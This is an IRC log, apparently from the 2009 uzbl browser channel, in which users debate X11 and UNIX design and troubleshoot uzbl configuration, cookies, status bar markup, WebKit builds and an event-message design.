22:31 < mjf> :(
22:33 < mjf> holizz: anyway, thanks. I will try once again to get it working. :)
22:33 < holizz> I had to look up ICCCM: "The ICCCM is notorious for being ambiguous and difficult to correctly implement. Furthermore, some parts are obsolete or no longer practical to implement."
22:34 < mjf> holizz: I read it twise. I makes perfect sense.
22:34 < mjf> holizz: s/twise/twice/
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22:35 < mjf> holizz: but that's might be my personal point of view only (I use Ion3 as my WM;)
22:35 < holizz> I'd never even heard of it. But then I don't write graphical toolkits.
22:35 < mjf> me either. but I tried to write petite/basic WM once and therefor I simply must have read it.
22:36 < mjf> and it makes sense to me
22:36 < mjf> that's all I can say about it.
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22:38 < mjf> Qt is just fine, although it's crap too. Perhaps project like webkit that really needs nothing that some "canvas" window to draw page into that any other toolkit can embed in SHOULD have it's own petite "canvas" widget for this task and just provide hooks for those GTK, Qt, Athena and other widgets.
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22:40 < mjf> You know, in X everything you see (even menus, buttons, a dot you can move around) in fact is a window <- therefor XWindow.
22:40 < mjf> s/XWindow/XWindows/
22:42 < mjf> That original design is good-enough to mix misc. toolkits together in one app. But that's not happenning. We got monolitic GTK- and Qt-based overbloated systems instead. I hate it personally.
22:42 < holizz> So what do you recommend?
22:43 < DuClare> Tk
22:44 < mjf> DuClare: :)
22:45 < mjf> DuClare: I hope I will find some time to learn Tcl/Tk one day.
22:47 < mjf> holizz: to re-create unix from the scratch? (just joking, but it's a bitter joke, I must say).
22:47 < mjf> holizz: s/unix/GNU/
22:47 < mjf> holizz: because "GNU is (indeed) NOT UNIX".
22:48 < holizz> mjf, You mean like what Apple did?
22:48 < Dieterbe> recreating gnu is not that difficult. once you've found a very, very stubborn old guy with a beard you're halfway there
22:48 < mjf> holizz: hehe, no
22:48 < mjf> Dieterbe: right
22:48 < mjf> Dieterbe: in fact, I did not shavef for some weeks, omg :(
22:49 < N30N> scj: it was you who also wanted to bind <C-i> yeah? Just came up with this :)... http://pastebin.com/d10cf21d4
22:49 < mjf> Dieterbe: therefor I will rather join some good effort to do all those things the right way (plan9 for instance looks nice)
22:51 < MichaelRaskin> mjf, glendix is a better bet for plan9 admirers
22:52 < mjf> MichaelRaskin:  Bringing the beauty of Plan9 to Linux
22:52 < mjf> MichaelRaskin: I am leaving linux
22:52 < mjf> MichaelRaskin: switching to openbsd
22:53 < mjf> MichaelRaskin: :(
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22:53 < mjf> MichaelRaskin: The only nice thing about GNU/Linux is the Linux (kernel) part. But I can live without it easily.
22:54 < mjf> MichaelRaskin: I would rather have non-segfaulting and stable, secure server. Last good version of debian was Sarge.
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22:56 < mjf> MichaelRaskin: other distributions are not prepared-enough for real life. (except Gentoo and RedHat, but I do not like Gentoo philosophy and I do not need any support so I do not need RedHat too).
22:58 < MichaelRaskin> If you want really as much security as possible, OpenBSD seems reasonable.
22:58 < mjf> MichaelRaskin: alhought I will be lacking SELinux, there is still systrace for me :)
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22:59 < MichaelRaskin> I am generally OK with GNU/Xorg/whatever userspace.
22:59 < mjf> MichaelRaskin: I hope some people will flock together to SAVE UNIX, such movement is needed.
22:59 < MichaelRaskin> Not likely..
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23:00 < Dieterbe> holy crap
23:01 < Dieterbe> Irssi: #uzbl: Total of 96 nicks
23:01 < MichaelRaskin> Unix vs Multics teaches us that Desktop Ubuntu will win versus any server-capable distriution in any sense
23:01 < Tjh_> hey I have a big problem. My school website uses javascript and it doesnt work on uzbl
23:01 < Tjh_> someone please help
23:01 < Tjh_> it oopens new winndows using javascript
23:01 < Tjh_> for veiwing messages
23:02 < MichaelRaskin> Yes, window.open seems still broken..
23:02 < Tjh_> and all it does in uzbl is open a new window which goes to the home page
23:02 < Tjh_> any way to counter this
23:02 < MichaelRaskin> At least at the last tag
23:02 < MichaelRaskin> Maybe git-head is better
23:02 < Tjh_> is it?
23:03 < Tjh_> i dont wanna compile git-head if it wont make a differrence
23:03 < Tjh_> cuz this is so far the only issue i aam having
23:03 < Tjh_> and Firefox is getting increasingly worse to use
23:04 < MichaelRaskin> Firefox: how to balance Gecko improvements with browser chrome disasters in every release
23:04 < Tjh_> and sometimes links open two windows of the same thing instead of just 1 windo
23:04 < mjf> MichaelRaskin: I was OK with the old good XFree86 project. Xorg's crap. It concentrates too much on eye-candy shit instead of good design. The actual developers are stupid. They actually broke XKB and are really willing to broke fonts too. That's painful. I need XKB working and I hate blurred fonts (I use terminus or fixed on my own, nothing else, never, because I do not want my eyes be hurting after 20hrs starring in my terminal).
23:04 < Tjh_> *window
23:04 < holizz> The problem with opening new windows via window.open is that the create-web-view signal doesn't provide the URI of the page to be opened in a new window/tab. So we have a selected_url variable that takes the value of whatever URI the cursor is hovering over. So if create-web-view gets called when you're not hovering over anything - things break.
23:05 < MichaelRaskin> mjf, yes, you pinpoint the issue perfectly
23:05 < holizz> Tjh_, The opening two windows problem should be fixed. What version are you using?
23:05 < mjf> MichaelRaskin: all sensible people should flock together and SAVE UNIX, really. The situation is becomming critical.
23:05 < MichaelRaskin> Good design always loses in long run..
23:06 < MichaelRaskin> Good thing Xorg at least bothered not to kill maintainability reliably.
23:06 < mjf> MichaelRaskin: that's not true. only bad developers loses good-design on long term. good delopers are improving it to a perfect one!
23:06 < MichaelRaskin> mjf, read some history.
23:06 < MichaelRaskin> Good developers created Multics with good design
23:06 < MichaelRaskin> Other good developers created Unix with relatively bad design
23:07 < Tjh_> holizz: i have *no* idea
23:07 < holizz> uzbl --version
23:07 < Tjh_> holizz: does ntohing but open uzbl
23:08 < Tjh_> 2uzbl 20090607 (git)
23:08 < holizz> Then you're using a pretty old version.
23:08 < Tjh_> according to pacman
23:08 < Tjh_> o ok
23:08 < Dieterbe> guys, see you all tomorrow or so
23:09  * Dieterbe goes to sleep
23:09  * Dieterbe can't believe he's talking to almost 100 people now :/
23:10 < mjf> Dieterbe: you are going to get crazy soon :)
23:10 < mjf> Dieterbe: good night
23:10 < mjf> btw, I go to sleep too
23:10 < mjf> 'night
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23:19 < N30N> Tjh_: you can always implement your own window opener like so http://pastebin.com/m5dfdc045
23:20 < holizz> Dieterbe, It was only recently that bot was reporting only 70 or 80 people in the room. Now look at us.
23:20 < holizz> N30N, Ohhhh. That looks handy.
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23:23 < tyk> webkit is incredibly long to compile...
23:24 < holizz> tyk, Exactly why I'm relying on Arch's packages rather than compiling the latest myself.
23:25 < N30N> only takes a couple of mins on a i7 ;)
23:25 < tyk> I had issue with the arch's webkit
23:25 < tyk> maybe because I have a 64bit sys
23:29 < Tjh_> N30N: hmm i see
23:30 < DuClare> Huh?
23:30 < DuClare> There still are stone age distros that can't handle 64bit?
23:30 < Tjh_> whats the latest tag in git?
23:32 < Tjh_> can someone tell me the latest verrsion number in git please
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23:35 < DuClare> 2009.07.18
23:35 < Tjh_> ok ty
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23:42 < Tjh_> aumm wats up with my status bar?
23:43 < MichaelRaskin> Tjh_, format has changes
23:43 < MichaelRaskin> Look at new example config..
23:43 < Tjh_> i am i dont see anything different ]
23:43 < Tjh_> hmm
23:44 < Tjh_> o never mind got it
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23:50 < Tjh_> wtf now status bar is gone
23:50 < Tjh_> :(
23:53 < rob|> gone?
23:54 < Tjh_> o wait its back
23:54 < rob|> heh
23:54 < Tjh_> trying to figure out how to get it to look like b4
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23:56 < Tjh_> DAMN IT why is the background still red
23:57 < Tjh_> somoeone take this red off
23:58 < Tjh_> FUCK
23:58 < Tjh_> why is it still there
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00:00 < rob|> no idea, here are my setting might be of some help: http://pastebin.com/m43b1979
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00:04 < Tjh_> hmm ill just start from scratch i guess
00:05 < rob|> yeah, note that you can now embedd java script and external programms into the statusbar..
00:05 < Tjh_> hee hee i got a status bar that changes colors now
00:05 < Tjh_> i have no idea what that means
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00:08 < Tjh_> i think ill keep this
00:08 < Tjh_> its funny as fuck
00:10 < DuClare> Fuck is funny?
00:10 < rob|> anyways, be sure to read section "TITLE AND STATUS BAR EVALUATION
00:10 < rob|> " in the README
00:14 < Tjh_> DuClare: it cud be
00:14 < Tjh_> rob|: ok umm apparently "set status_bar backround = black" does funny thiings
00:14 < Tjh_> *status_backgound
00:15 < Tjh_> yeap
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00:21 < Tjh_> ais there any color as "brightblack"?
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00:24 < tyk> \o/
00:24 < tyk> no more crash
00:26 < tyk> webkit defeated !
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00:28 < Tjh_> ok can someone tell me why "set status_background = "black"" produces a color changing status bar
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00:33 < Tjh_> o GREAT
00:33 < Tjh_> this is worse than b4
00:33 < Tjh_> i cant even log in anymore
00:33 < Tjh_> :(
00:33 < Tjh_> someone please help
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00:39 < tyk> now my status bar sometimes disappear
00:39 < tyk> similar problem Tjh_ ?
00:40 < tyk> ok understood
00:40 < tyk> it disappears when you have to scroll down
00:41 < Tjh_> i dont even care about that
00:41 < Tjh_> my school site doesnt work
00:41 < Tjh_> webct.wlu.ca
00:41 < Tjh_> if i log in, it takes me back to home page instead of going forward with my loging
00:41 < Tjh_> *login
00:41 < lwithers> Tjh_: I presume you're using cookies; if so, what cookie handler?
00:41 < lwithers> are you getting errors if you run uzbl in a terminal?
00:42 < Tjh_> o hmm that maybe it
00:42 < Tjh_> oops
00:42 < Tjh_> how to usee coookies
00:42 < Tjh_> set cookie_handler = /usr/share/examples/scripts/cookie.py
00:43 < Tjh_> *cookies
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00:50 < Tjh_> also wtso does not work
00:50 < Tjh_> help please
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00:51 < holizz> wtso?
00:52 < Tjh_> (uzbl:18983): Gtk-WARNING **: Failed to set text from markup due to error parsing markup: Error on line 1: Character '=' is not valid inside an entity name
00:52 < Tjh_> just google wtso
00:52 < Tjh_> wtso.com
00:52 < Tjh_> this is the only error that keeps apperaing over and over again
00:53 < Tjh_> i know its beta and such but at this pooint wget + vim works better
00:54 < holizz> I don't get any problems. Are you using experimental? Or some fortnight-old tag?
00:54 < Tjh_> git
00:54 < Tjh_> pulled from master like 15 minutes ago
00:54 < lwithers> sorry but wtso.com and wtso.net both work for me with no issues
00:54 < rob|> same here
00:54 < lwithers> that error message sounds like it could be caused by pango maybe?
00:55 < Tjh_> wtf is pango?
00:55 < lwithers> pango is the font rendering library
00:55 < Tjh_> ok
00:55 < lwithers> it will be used for, among other things, drawing the status bar
00:55 < Tjh_> so if its a status bar error, why nothing works?
00:55 < lwithers> what is your status_format set to?
00:56 < lwithers> also, you could try using one of the example configs on the wiki to start with
00:56 < Tjh_> set status_format = [\@MODE\@] [\@keycmd\@] \@uri\@ \@SELECTED_URI\@
00:56 < lwithers> to see if it's an error in the local config or if it's something more fundamental
00:56 < lwithers> that looks pretty sane
00:56 < Tjh_> it had been working fine for over a month
00:56 < Tjh_> until i upgraded just now
00:56 < rob|> no it doesn't look sane at all
00:56 < Tjh_> wy not?
00:56 < lwithers> rob|: why not?
00:57 < rob|> because you don't xml escape uro and SELECTED_URL
00:57 < rob|> *uri
00:57 < Tjh_> i ave no idea what that meanss
00:57 < rob|> also the \@ after those don't make too much sense
00:57 < Tjh_> i dont know xml
00:57 < lwithers> in my config I have \@[\@uri]\@
00:57 < lwithers> and \@[\@SELECTED_URI]\@
00:57 < Tjh_> and thats what it is in the sample config too
00:58 < lwithers> AIUI, \@var means "put the value of <var>" here
00:58 < lwithers> and \@[thing]\@ means "XML escape thing"
00:58 < rob|> lwithers: no, that's what @var means
00:58 < lwithers> rob|: is that right?
00:58 < rob|> lwithers: status_format is evaluated in multiple stages
00:58 < rob|> the README explains it
00:59 < lwithers> right
01:00 < Tjh_> so if i just do \@uri
01:00 < Tjh_> is that fine?
01:00 < Tjh_> and im pretty sure this has nothing to do with the issue at hand
01:00 < rob|> it's fine as long as uri doesn't contain any chars that are special to the markup parser
01:00 < Tjh_> no webpage works
01:00 < lwithers> yes, unless that happened to expand to something containing XML markup
01:00 < rob|> so to be safe use: \@[\@uri]\@
01:00 < lwithers> which is why I have \@[\@uri]\@ instead
01:01 < Tjh_> ok
01:01 < Tjh_> again
01:01 < Tjh_> wtso.com
01:01 < Tjh_> youtube
01:01 < Tjh_> gmail
01:01 < Tjh_> webct.wlu.ca
01:01 < Tjh_> uwace.uwatereloo.ca
01:01 < rob|> ok, we get it
01:01 < Tjh_> o ok
01:01 < Tjh_> dont work
01:01 < rob|> so try to use _the sample_ config just to make sure it's not an error in your config file
01:03 < rob|> also i'm pretty sure your config has some issues, all of the above sites work for me
01:06 < N30N> holizz / Tjh_: ok I didn't test the script I give you before to open windows here's one that works better... http://pastebin.com/d60ccbb2e
01:06 < Tjh_> cool
01:10 < Tjh_> o also webct.wlu.ca needsd password to test
01:10 < Tjh_> it displays right, but i cant log in
01:11 < holizz> Tjh_, Are you using the latest uzbl (i.e. experimental)?
01:11 < Tjh_> like i said i pulled from master 15 mniteus ago
01:12 < Tjh_> nope neither works
01:13 < Tjh_> console message:  @1: Unsafe JavaScript attempt to access frame with URL http://www.wtso.net/movie/110-The%20Simpsons%201020%20The%20Old%20Man%20and%20the%20&q....html from frame with URL http://domdex.com/f?c=5&k=Card%2BCredit%2BReward%2BTravel. Domains, protocols and ports must match.
01:13 < Tjh_> and a simliar error for webct
01:16 < holizz> Tjh_, Use experimental. But it won't fix that error - that's WebKit.
01:22 < Tjh_> ok and uumm great now im always in inseret mode
01:23 < Tjh_> o wait it *shows* I all the time
01:24 < Tjh_> doesnt show C ffor smd mode anymoer
01:25 < Tjh_> o never mind got that one
01:26 < Tjh_> holizz: the odd thing is it USED to work b4 i updated
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01:53 < Tjh_> holizz: regarding ur explanation abbout window.open, the issue is javascript window open commands dont work properly
01:53 < holizz> Yep.
01:53 < Tjh_> holizz: cuz it tried to open a new window with a uri that is a javascript function
01:53 < Tjh_> like uri="NewMSgVeiw("...")"
01:53 < Tjh_> which is screwy
01:56 < holizz> Nice.
01:56 < Tjh_> ??
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01:57 < holizz> Anyway, it's bed time for me.
01:58 < holizz> Good luck, Tjh_. And good night.
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02:01 < Tjh_> nightie night
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02:14 < Tjh_> anyone there
02:14 < Tjh_> uzbl != cookies
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02:19 < Tjh_> HELL
02:19 < Tjh_> *HELLO
02:19 < Tjh_> damn..its only 8:30 here everyones asleep
02:19 < Tjh_> :(
02:20 < Tjh_> *9:30
02:22 < skatman1744> Just offer some coffee
02:24 < tyk> it's 02:24 AM here
02:24 < tyk> gulp
02:25 < tyk> I should sleep
02:25 < Tjh_> so anyone help me with cookies please
02:25 < Tjh_> *pretty please*
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02:26 < Tjh_> my uzbl doesnt like cookies anymore
02:26 < Tjh_> or eats them up or smthg
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02:32 < Tjh_> anyone?
02:36 < Tjh_> come on someone has to be online
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04:19 < objorn> http://www.uzbl.org/wiki/gentoo_ebuild "Put code into /usr/local/portage/www-client/uzbl/uzbl-9999.ebuild"
04:20 < objorn> can i instead put it in /usr/portage?
04:24 < objorn> i went ahead and did so
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04:57 < objorn> http://pastebin.com/m2ad8fcd2
04:58 < objorn> i am given that error even after doing  PKG_CONFIG_PATH="/home/heath/builds/webkit-1.1.12/WebKit/gtk/webkit.pc" and export PKG_CONFIG_PATH
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09:56 < rob|> morning
09:57 < MichaelRaskin> rob|, Good morning
09:58 < MichaelRaskin> Does anyone know how to troubleshoot HTML5 <video> troubles?
09:58 < Dieterbe> set status_background = "black"
09:58 < Dieterbe> ^^ funny bug
09:58 < Dieterbe> morning all
09:59 < rob|> Dieterbe: not exactly a bug
10:00 < Dieterbe> enlighten me :)
10:01 < rob|> "black" is simply not a valid color name, it should be just black without the ""
10:01 < Dieterbe> yeah sure.
10:01 < Dieterbe> but did you actually try it with "" ?
10:01 < rob|> yes, it changes colors
10:01 < Dieterbe> explain that :P
10:02 < rob|> gtk is doing funny things with not valif color names ;)
10:03 < Dieterbe> you think this is a joke from one of the gtk coders?
10:03 < rob|> i'm not sure, might be
10:03 < Dieterbe> indeed
10:03 < MichaelRaskin> If I use cmd sh "gst-launch-0.10 playbin uri=...", a GStreamer window is opened with correct video
10:04 < Dieterbe> MichaelRaskin: hooraaaay
10:04 < MichaelRaskin> Usually invalid colours are somehow reinterpreted as hex (like if it was 0abbdd)
10:04 < ruskie> nice
10:04 < MichaelRaskin> But if I open a page with <video src="..."> <source src="..." /> </video>, I only see first frame
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10:11 < MichaelRaskin> Great
10:11 < MichaelRaskin> I managed to compose a HTML5 video page which works in uzbl
10:11 < MichaelRaskin> The rest is currently being written off as codec support issues
10:12 < MichaelRaskin> I.e. I need to install plugins-bad and plugins-ugly
10:13 < rob|> ah nice, so your above issue was actually a codec one?
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10:14 < Dieterbe> so when you install  plugins-bad and plugins-ugly most/all videos work?
10:18 < MichaelRaskin> No
10:18 < MichaelRaskin> I needed to put autoplay attribute
10:19 < MichaelRaskin> Playback controls are probably supposed to be done in JS otherwise
10:19 < Dieterbe> you mean an onload JS thingie?
10:19 < MichaelRaskin> No, autoplay="true" without any JS works fine
10:19 < Dieterbe> yes but where do you put the autoplay="true" ? do you add it to the DOM onload with js?
10:20 < MichaelRaskin> No, in plain HTML5
10:20 < Dieterbe> ah you're testing with pages you change the source yourself..
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10:21 < MichaelRaskin> Well, Mozilla test pages seem to be a bit Mozilla-centric
10:21 < MichaelRaskin> And Apple test pages suppose QuickTime
10:22 < Dieterbe> you probably mean proposes or assumes
10:26 < holizz> Suppose and assume, I think, are appropriate in this context. But not propose.
10:27 < MichaelRaskin> Ok, I agree assume is better
10:27 < MichaelRaskin> But suppose can technically have the same meaning
10:27 < MichaelRaskin> "Propose" is not an option here
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10:30 < MichaelRaskin> What the bug? Uzbl only scores 98% on Acid3?
10:31 < holizz> MichaelRaskin, I'm getting 100/100.
10:32 < MichaelRaskin> holizz, what WebKit do you use?
10:32 < MichaelRaskin> I use nearly latest
10:32 < holizz> Arch's 1.1.10-2.
10:32 < MichaelRaskin> (± 3 days)
10:32 < scj> getting 100/100 too, webkit-nightly r46091
10:33 < MichaelRaskin> r46684 here
10:33 < MichaelRaskin> They seem to have some struggles lately
10:34 < MichaelRaskin> They even had one nightly with broken Makefile
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10:35 < holizz> They broke -webkit-box-shadow too.
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10:38 < MichaelRaskin> Do they have any plans to fix it?
10:38 < holizz> I submitted a bug report. So hopefully.
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10:42 < MichaelRaskin> Hm. /. crashes uzbl..
10:43 < rob|> works here, must be your webkit
10:43 < MichaelRaskin> I will believe you easily.
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11:10 < DuClare> Laughter or sobbing?  http://www.lambdassociates.org/blog/prolegomena(1).htm
11:15 < scj> whining
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11:39 < MichaelRaskin> Has anyone had any success with WebKit widget inspection?
11:54 < holizz> Right-click -> Inspect Element? It works fine.
11:56 < MichaelRaskin> It opens a window with source of the inspector widget for me
11:56 < MichaelRaskin> And the window is not a uzbl window
11:58 < DuClare> Huh, source of the inspector widget?
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12:00 < MichaelRaskin> <head>
12:00 < MichaelRaskin>     <meta http-equiv="content-type" content="text/html; charset=utf-8">
12:00 < MichaelRaskin>     <link rel="stylesheet" type="text/css" href="inspector.css">
12:00 < MichaelRaskin> You get the idea
12:00 < holizz> WHOA. Meta-inspection.
12:03 < MichaelRaskin> I would prefer normal inspection
12:04 < MichaelRaskin> Should I ensure some mimetype table availability somewhere?
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12:30 < mason_l> Killer net-split.
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12:36 < rob|> so, what do you think about (additionally to the current handler code) printing strings in the form "LOAD_COMMIT http://my.uri/", etc. to stdout/output fifo/socket. i.e. define a string+format for every/most webkit signals
12:37 < rob|> that way we could easiyl attach event handler scripts like: uzbl|handler
12:37 < rob|> or tail -f out_fifo | handler
12:38 < rob|> handler would just do a blocking read, filter out the event it is interested in and take any further action
12:40 < MichaelRaskin> Better yet also pass keypresses..
12:40 < rob|> sure, we could pass everything that way
12:41 < rob|> uzbl would essentially work like a filter
12:44 < rob|> and the format of the string should be something like: EVENT_TYPE [instance_name] event_details
12:45 < MichaelRaskin> Great.
12:45 < MichaelRaskin> All the definable variable arguments would be irrelevant then
12:46 < ruskie> hmmm anyone got an uzbl port for openbsd?
12:49 < scj> rob|: sounds interesting, some experimenting would be in order
12:51 < scj> how would cookies work in such a scheme?
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12:57 < MichaelRaskin> Runtime in WebKit. Optional persistence by handler
12:58 < MichaelRaskin> holizz, DuClare : thanks for encourangement; mime-type db allowed to actually get inspector working
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13:15 < rob|> scj: cookies are probably the only thing that wouldn't fir well into that scheme
13:27 < MichaelRaskin> You can always store a flag "wait for cookies"
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13:57 < hatori> can i set my ctrl click to open the link in a new window?
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14:05 < holizz> hatori, Not yet.
14:06 < xulos> just installed uzbl via ubuntu ... for some reason uzbl doesn't see/get my keyboard input. any idea what could be wrong?
14:09 < holizz> xulos, That's odd. What version are you using?
14:15 < xulos> holizz: uzbl_20090718-1~ppa1_i386.deb
14:16 < holizz> What does --version say?
14:18 < xulos> holizz: interestingly ... nothing. just starts uzbl
14:19 < holizz> Then you're using a very old version indeed.
14:21 < xulos> holizz: how can i fix that? currently i get the package via deb http://ppa.launchpad.net/pplr/uzbl/ubuntu jaunty main as described on the home page
14:22 < holizz> xulos, Compile from source?
14:22 < Dieterbe> xulos: described on which home page?
14:23 < xulos> Dieterbe: http://www.uzbl.org/wiki/ubuntu_howto
14:23 < Dieterbe> that's not a home page
14:23 < mason_l> Gah, I'm trying to change my font in wmii on a brand new install and I get nothing but cant find "-*-fixed-medium-r-*-*-..."
14:23 < mason_l> Dieterbe, You may be able to help.
14:23 < mason_l> I've been trying out wmii :)
14:24 < Dieterbe> besides, anyone can put on the wiki whatever he wants
14:24 < xulos> Dieterbe: i thought you'd have an eye on what is presented there ;)
14:24 < Dieterbe> mason_l: i just use the default fonts.  maybe you need to install font packages
14:25 < mason_l> I've got fixed (the font) installed its the default xterm font.
14:25 < ruskie> :)
14:26 < Dieterbe> dunno mate.  i don't know much about font stuff
14:26 < ruskie> or you can pick any other font you want ;)
14:26 < mason_l> ruskie, I would if I could, no fonts are working. I've even used xfontsel to make the font string for me
14:26 < ruskie> don't
14:27 < ruskie> open up any gtk2 app and go to it's font selection menu
14:27 < ruskie> pick a font from there
14:27 < ruskie> if it has spaces "put it there"
14:27 < ruskie> else just plain font
14:27 < ruskie> :)
14:28 < mason_l> I'll have to install gtk2 then :)
14:28 < ruskie> erm
14:28 < ruskie> you already have that
14:28 < mason_l> No I don't :P
14:29 < ruskie> if you have uzbl installed and webkitgtk
14:29 < ruskie> you do
14:29 < mason_l> I don't ^^
14:29 < mason_l> Brand new arch install on my laptop
14:29 < mason_l> Installing gtk2 now.
14:29 < ruskie> still need some app that has font selection though ;)
14:29 < ruskie> usually it's just the name i.e. "Aerial Mono"
14:29 < mason_l> I'm installing gnome-terminal for that very reason.
14:30 < ruskie> or "Times New Roman"
14:30 < mason_l> Eeeek! Non-monospaced font in the terminal!?!?!
14:30 < ruskie> don't need the ugly long font strings in most cases now-days
14:30 < ruskie> lol
14:39 < xulos> holizz: it's been the 'insert mode' thing that got me. not really that much used to vi
14:39 < Dieterbe> xulos: read the faq
14:40 < Dieterbe> ubuntu packages should have a big notice "RTFM/FAQ"
14:40 < ruskie> naahh
14:40 < ruskie> they should just be: this is EXPERIMENTAL don't USE UNLESS YOU ARE WILLING TO BREAK YOUR SYSTEM ABDLY
14:40 < ruskie> erm BADLY
14:40 < ruskie> :)
14:42 < Dieterbe> baldly?
14:57 < N30N_> oh sweet they added xft support to wmii, donno how I missed that :D
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15:05 < mason-l> Is it possible to get anti-aliased fonts in wmii?
15:05 < mason-l> (My fonts look horrid)
15:06 < mason-l> Also is it possible to increase the key-repeat speed and reduce the repeat-delay?
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15:07 < scj> mason-l: man xset
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15:08 < mason-l> scj, Nice thanks.
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09:27 < Dieterbe> morning all
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09:29 < xulos> Dieterbe: morning
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09:31 < noisetonepause> morning
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09:44 < lwithers> morning
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09:49 < rob|> morning.
09:49 < Dieterbe> heya you 2 leet hackers
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10:01 < rob|> btw, as proposed yesterday i wrote a basic version of an alternative message system: http://github.com/robm/uzbl/tree/event-messages
10:02 < rob|> example use case, a keyhandler that can easily parse modifier bindings: http://pastebin.com/m7aa2c46c
10:04 < rob|> more details on the ML: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html
10:04 < lwithers> ooh, will take a look later
10:11 < rob|> command history should also be easy to implement with it..
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10:15 < MichaelRaskin> WebKit nightly fixed Acid3 regression
10:15 < MichaelRaskin> But not /. crash
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11:49 < rob|> Dieterbe: re. your reply. i really like the idea to shift the complexity from uzbl to another tool. that other tool would most certainly handle only a subset of the functionality which would makes it implicitly less complex than an all in one solution in uzbl..
11:49 < rob|> *make
11:50 < Dieterbe> well, the most important thing is that we can _solve_ the actual problem, not just move it
11:50 < Dieterbe> i'm not really in favor of a "bridge" so that uzbl would inform an other tool about everything it does and then the external tool needs to do everything
11:51 < Dieterbe> then it could just as well uzbl itself to do it
11:54 < rob|> well, my approach does not collide with talk_to_socket at all, actually talk_to_socket could/should be just another interface through which we can pass the messages
11:56 < Dieterbe> uhu
11:57 < Dieterbe> the interesting question: how are you going to implement seperate plugins into your "big handler" with each their own responsability. and "hooked into it" in a flexible way (eg in uzbl you can switch handlers on the fly)
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11:59 < rob|> that's up to the handler, if it's written in an interpreted language this would be a simple matter of executing some code at runtime.
11:59 < rob|> but, that's not the point
12:00 < rob|> we can still use multiple sockets/interface to propagate different event types
12:01 < Dieterbe> from uzbl, or from big-handler ?
12:01 < rob|> from uzbl
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12:03 < Dieterbe> then what's the point of big-handler?
12:03 < scj> big-handler will just be a matter of text processing
12:03 < scj> i like the idea
12:07 < scj> the point would be that it's easy to change and define the behavior
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12:14 < rob|> Dieterbe: it doesn't necessarily need to be a 'big-hanlder', but we cand easily mix multiple event types into a single output stream which certainly makes processing way easier than having to deal with multiple sockets
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17:28 < shinynew> hey, after the latest uzbl update the bar at the bottom stopped functioning
17:29 < shinynew> now it says [mode] [keycmd] LOAD_PROGRESSBAR etc
17:29 < shinynew> instead of the actual values
17:30 < Dieterbe> read the news
17:32 < shinynew> ah thanks
17:38 < shinynew> cat /usr/share/uzbl/examples/data/
17:38 < shinynew> opps
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17:45 < shinynew> umm the new example configs aren't working either
17:47 < holizz> shinynew, What isn't working? status_format?
17:49 < shinynew> yeah
17:49 < shinynew> they didn't change where you access it did they?
17:49 < shinynew> .local/share/uzbl/config right?
17:49 < shinynew> could I see someone else's?
17:50 < holizz> It's $XDG_CONFIG_HOME/uzbl/config, or .config/uzbl/config.
17:50 < shinynew> yeah I believe my $XDG_CONFIG_HOME was .local/share/
17:50 < shinynew> but it checks .config/uzbl/config as well?
17:51 < shinynew> hell yes that worked
17:51 < holizz> It only checks .config if $XDG_CONFIG_HOME isn't set.
17:52 < shinynew> ok, thanks!
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18:15 < holizz> mason-l, GET http twurl.nl /451yj3
18:15 < holizz> XXX: Exiting via unknown exception in run
18:16 < mason-l> holizz, Yo
18:18 < holizz> Doesn't help too much. I'm ammending that line.
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18:19 < mason-l> holizz, Hasn't crashed for me.
18:19 < mason-l> holizz, I cookie_daemon.py did crash earlier after about a days inactivity.
18:20 < mason-l> With a socket.error("Broken Pipe")
18:20 < holizz> Interesting.
18:20 < mason-l> When the pipe-breaks I think the only thing to do is ignore it and try re-open the socket.
18:20 < mason-l> I just hope uzlb can handle it.
18:20 < mason-l> 'uzbl
18:21 < mason-l> I need to get to sleep now but I'll look into it tomorrow if you have any more information for me.
18:21 < holizz> Cool. See you tomorrow.
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19:09 < DuClare> Hmm
19:10 < DuClare> Does webkit actually chache things on the HD by itself?
19:11 < Dieterbe> afaik no
19:12 < DuClare> Right
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21:12 < homtiri> hello, do I need to add something to my config to use uzblcat?
21:12 < homtiri> it enables html mode as i see, right?
21:15 < homtiri> "curl http://archlinux.org | uzblcat | uzbl" shows a blank page
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21:27 < rob|> homtiri: uzbl doesn't listen to stdin by default. try: curl http://archlinux.org | uzblcat | uzb -c -
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21:29 < holizz> homtiri, Or > it to the fifo of an open instance. curl http://holizz.com/ | uzblcat > /tmp/uzbl_fifo_25165856
21:29 < homtiri> rob|: oh that worket thanks
21:29 < homtiri> i just followed the examples at http://www.uzbl.org/wiki/html-mode
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21:29 < homtiri> it lacks -c
21:30 < homtiri> holizz: ah thats more useful for me, thanks
21:30 < rob|> right, those where written before '-c -' was introduces
21:30 < rob|> *d
21:30 < rob|> feel free to correct it
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21:37 < N30N_> what do I set modkey to for control key?
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23:51 < fresch> hi
23:58 < N30N_> fresch: sup?
--- Day changed Wed Aug 05 2009
00:07 < fresch> N30N_: nothin' really, finally getting things done I promised on the archlinux forum a few weeks ago.. some dmenu patching
00:09 < N30N_> fresch: oh nice, I remember reading about that :)
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00:12 < fresch> N30N_: some girl kept my mind busy and I totally forgot about this again..
00:12 < fresch> ... this should not happen again!!111
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00:43 < fresch> unexist?
00:46 < rob|> hmm..
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01:20 < DefineTheLine> (:
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01:39 < homtiri> why does uzbl loads html page so damn slow when i called it like "uzbl --uri file://test.html" while it opens and displays page lightning fast when i feed the page to it?
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01:41 < rob|> homtiri: can't see any speed difference here
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01:42 < rob|> i suppose you're talking about uzblcat/html mode  vs. file://... ?
01:46 < homtiri> yep
01:46 < homtiri>  "uzblcat bar.html | uzbl -c -" takes less than one second to open and render
01:47 < homtiri> but "uzbl --uri file://bar.html" takes 7 seconds
01:49 < rob|> strange, probably the latter tries to load external ressources or something
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01:58 < homtiri> oh ok
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01:59 < homtiri> rob|, btw, should I expect uzbl to behave normal after it renders the page uzblcat sent?
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02:00 < homtiri> it gets stuck
02:00 < rob|> depends, if you didn't specify BASE_URL some operations will act quite funny
02:00 < homtiri> clicking links works
02:00 < homtiri> but no kb input
02:01 < rob|> oh, that should work
02:01 < homtiri> and no statusbar either
02:01 < rob|> are you testing with '-c -'?
02:01 < homtiri> yes
02:02 < rob|> yeah, that won't load a config file so there are no bindings
02:02 < homtiri> ahh ok
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02:16 < homtiri> ok concantenating the config with uzblcat did the trick
02:17 < homtiri> it opens the file nice and slow, yay!
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02:20 < homtiri> rob|: thanks for your help and sorry for misinformation.
02:21 < homtiri> anyways, it is awesome that uzbl starts and renders the page under 1 second without configs :)
02:21 < homtiri> it is almost as fast as links!
